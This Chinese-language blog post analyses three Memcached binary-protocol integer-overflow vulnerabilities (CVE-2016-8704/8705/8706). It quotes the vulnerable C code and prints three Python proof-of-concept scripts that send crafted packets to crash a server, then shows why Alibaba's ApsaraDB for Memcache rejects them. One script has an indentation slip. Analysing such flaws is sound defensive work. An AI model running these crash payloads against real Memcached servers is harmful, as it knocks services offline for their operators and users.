Memcached命令执行漏洞(CVE-2016-8704、CVE-2016-8705、CVE-2016-8706)原理和对阿里云Memcache影响分析

漏洞简介

Memcached是一个广泛使用的高速缓存系统,近期研究者发现小于1.4.33的版本存在3个整数溢出漏洞,通过这几个漏洞攻击者可以触发堆溢出导致crash。官方在11月1日发布了升级公告。漏洞作者已经提供了很详细的描述,在这里仅做简单的整理和验证。

后面验证了阿里云ApsaraDB for Memcache不受漏洞影响,并分析了原因。这个案例深刻告诉我们,对于用户输入,一定要做全面的检查。

漏洞分析

漏洞仅仅在binary时会触发。本质都是没有对用户输入的协议做严格全面的边界检查,导致在调用item.c中的do_item_alloc()函数时, 传入的参数nbytes是个负值,导致堆栈溢出。

item *do_item_alloc(char *key, const size_t nkey, const int flags,
                    const rel_time_t exptime, const int nbytes,
                    const uint32_t cur_hv) {
  size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);
}

ntotal大小的内存用来存放item、flags、key、value。当nbytes为负值,导致ntotal偏小,导致溢出。

CVE-2016-8704

当执行Append (opcode 0x0e), Prepend (opcode 0x0f), AppendQ (0x19), PrependQ (opcode 0x1a) 命令时会进入这样如下代码路径:

case PROTOCOL_BINARY_CMD_APPEND:
case PROTOCOL_BINARY_CMD_PREPEND:
  if (keylen > 0 && extlen == 0) {
    bin_read_key(c, bin_reading_set_header, 0);
  } else {
    protocol_error = 1;
  }
  break;

这里并仅检查了keylen和extlen的值,并没有检查bodylen。

complete_nread_binary()后,即当从socket中读取和解析完header、extlen、key后,注意此时value还没从socket中读取,程序进入了process_bin_append_prepend()函数中,

key = binary_get_key(c);
nkey = c->binary_header.request.keylen; //
vlen = c->binary_header.request.bodylen - nkey;
...
it = item_alloc(key, nkey, 0, 0, vlen+2);

这里keylen做过合法性检查,bodylen没有,所以itme_alloc()函数中的参数中keynkey可以保证合法性,但vlen无法保证。

PoC代码:

# -*- coding: utf-8 -*-

import struct
import socket
import sys

MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_PREPEND_Q = "\x1a"
key_len = struct.pack("!H", 0xfa)
extra_len = "\x00"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I", 0)
opaque = struct.pack("!I", 0)
CAS = struct.pack("!Q", 0)
body = "A" * 1024

if len(sys.argv) != 3:
    print "./poc_crash.py <server> <port>"
    sys.exit(1)

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body

set_packet = "set testkey 0 60 4\r\ntest\r\n"
get_packet = "get testkey\r\n"

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((sys.argv[1], int(sys.argv[2])))
s1.sendall(set_packet)
print s1.recv(1024)
s1.close()

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1], int(sys.argv[2])))
s2.sendall(packet)
print s2.recv(1024)
s2.close()

s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((sys.argv[1], int(sys.argv[2])))
s3.sendall(get_packet)
s3.recv(1024)
s3.close()

当进入process_bin_append_prepend()函数中,nkey 250、vlen -250, 调用item_alloc(), 触发漏洞。

CVE-2016-8705

当进行Set (opcode 0x01),Add (opcode 0x02), Replace (opcode 0x03) ,SetQ (opcode 0x11), AddQ (opcode 0x12) ,ReplaceQ (opcode 0x13)作时会进入如下代码路径:

static void dispatch_bin_command(conn *c) {
  int extlen = c->binary_header.request.extlen;
  int keylen = c->binary_header.request.keylen;
  uint32_t bodylen = c->binary_header.request.bodylen;
  ...
  case PROTOCOL_BINARY_CMD_SET: /* FALLTHROUGH */
  case PROTOCOL_BINARY_CMD_ADD: /* FALLTHROUGH */
  case PROTOCOL_BINARY_CMD_REPLACE:
    if (extlen == 8 && keylen != 0 && bodylen >= (keylen + 8)) {
      bin_read_key(c, bin_reading_set_header, 8);
    } else {
      protocol_error = 1;
    }
    break;
}

在这里需满足bodylen >= (keylen + 8),这里要注意的是各变量类型,bodylen 为uint32_t。

complete_nread_binary()后,即当从socket中读取和解析完header、extlen、key后,注意此时value还没从socket中读取,程序进入process_bin_update()

static void process_bin_update(conn *c) {
  int nkey;
  int vlen;
  ...
  key = binary_get_key(c);
  nkey = c->binary_header.request.keylen;
  ...
  vlen = c->binary_header.request.bodylen - (nkey + c->binary_header.request.extlen);
  ...
  it = item_alloc(key, nkey, req->message.body.flags,
                  realtime(req->message.body.expiration), vlen+2);
}

bodylen为无符号整形,在赋值给整形的vlen时会做类型转换,若bodylen过大, vlen 会变成一个负数,进而调用item_alloc()触发漏洞。

PoC:

import struct
import socket
import sys

MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_ADD = "\x02"
key_len = struct.pack("!H", 0xfa)
extra_len = "\x08"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I", 0xffffffd0)
opaque = struct.pack("!I", 0)
CAS = struct.pack("!Q", 0)
extras_flags = 0xdeadbeef
extras_expiry = struct.pack("!I", 0xe10)
body = "A" * 1024

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body
if len(sys.argv) != 3:
    print "./poc_add.py <server> <port>"
    sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
s.close()

dispatch_bin_command()中 keylen为250,bodylen为 4294967248,通过了检查。process_bin_update()中 nkey为250,vlen 为 -306,调用item_alloc() 触发漏洞。

CVE-2016-8706

当进行 SASL_AUTH 操作,进入下面代码步骤:

static void dispatch_bin_command(conn *c) {
  ...
  case PROTOCOL_BINARY_CMD_SASL_AUTH:
  case PROTOCOL_BINARY_CMD_SASL_STEP:
  if (extlen == 0 && keylen != 0) {
    bin_read_key(c, bin_reading_sasl_auth, 0);
  } else {
    protocol_error = 1;
  }
  break;
  ...
}

这里只检查了extlen 和keylen,没有对bodylen进行检查。

complete_nread_binary()后,即当从socket中读取和解析完header、extlen、key后,注意此时value还没从socket中读取,进入process_bin_sasl_auth()函数:

static void process_bin_sasl_auth(conn *c) {
  ...
  int nkey = c->binary_header.request.keylen;
  int vlen = c->binary_header.request.bodylen - nkey;
  ...
  item* it = item_alloc(key, nkey, 0, 0, vlen);
}

只要bodylen 小于keylen,vlen 变为负值。

PoC:

import struct
import socket
import sys

MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_SET = "\x21"
key_len = struct.pack("!H",32)
body_len = struct.pack("!I",1)
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len + body_len*2 + "A"*1000
if len(sys.argv) != 3:
    print "./poc_sasl.py <server> <ip>"
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((sys.argv[1],int(sys.argv[2])))
    s.sendall(packet)
    print s.recv(1024)
    s.close()

process_bin_sasl_auth()中 nkey为32,vlen 为 -31,调用item_alloc()触发漏洞。

阿里云ApsaraDB for Memcache(原名OCS) 验证分析

阿里云ApsaraDB for Memcache,底层不是用的官方Memcached,而且基于自研的Tair,兼容Memcached协议。对于用户输入的协议,做了严格的边界检查,避免了上述漏洞。相关部分伪代码如下:

int16_t extlen = c->binary_header.request.extlen;
int16_t keylen = c->binary_header.request.keylen;
int32_t bodylen = c->binary_header.request.bodylen;
if (boylen < 0 || bodylen > 2*1024*1024)
{
  decode protocal error;
  主动close 连接;
}
if (extlen < 0 || keylen < 0 || bodylen < keylen + extlen)
{
  decode protocal error;
  主动close 连接;
}

使用上述的PoC代码测试ApsaraDB for Memcache,对应连接会被server端直接close()掉。

上一篇:apicloud如何对接大牛直播SDK


下一篇:大牛直播跨平台RTSP/RTMP转RTMP转发SDK